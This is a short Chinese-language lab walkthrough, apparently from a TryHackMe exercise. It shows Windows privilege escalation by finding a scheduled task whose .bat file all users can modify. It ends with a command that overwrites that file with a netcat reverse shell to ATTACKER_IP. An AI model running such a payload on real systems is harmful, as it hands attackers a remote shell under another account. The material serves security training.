我们可以使用 schtasks
列出所有的计划任务,下面我们以一个计划任务为例讲解
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
查看当前用户对计划任务文件的权限
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
从结果中我们可以看到 BUILTIN\Users 对目标文件存在完全访问权限,那么我们可以修改 .bat 文件来插入有效载荷
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat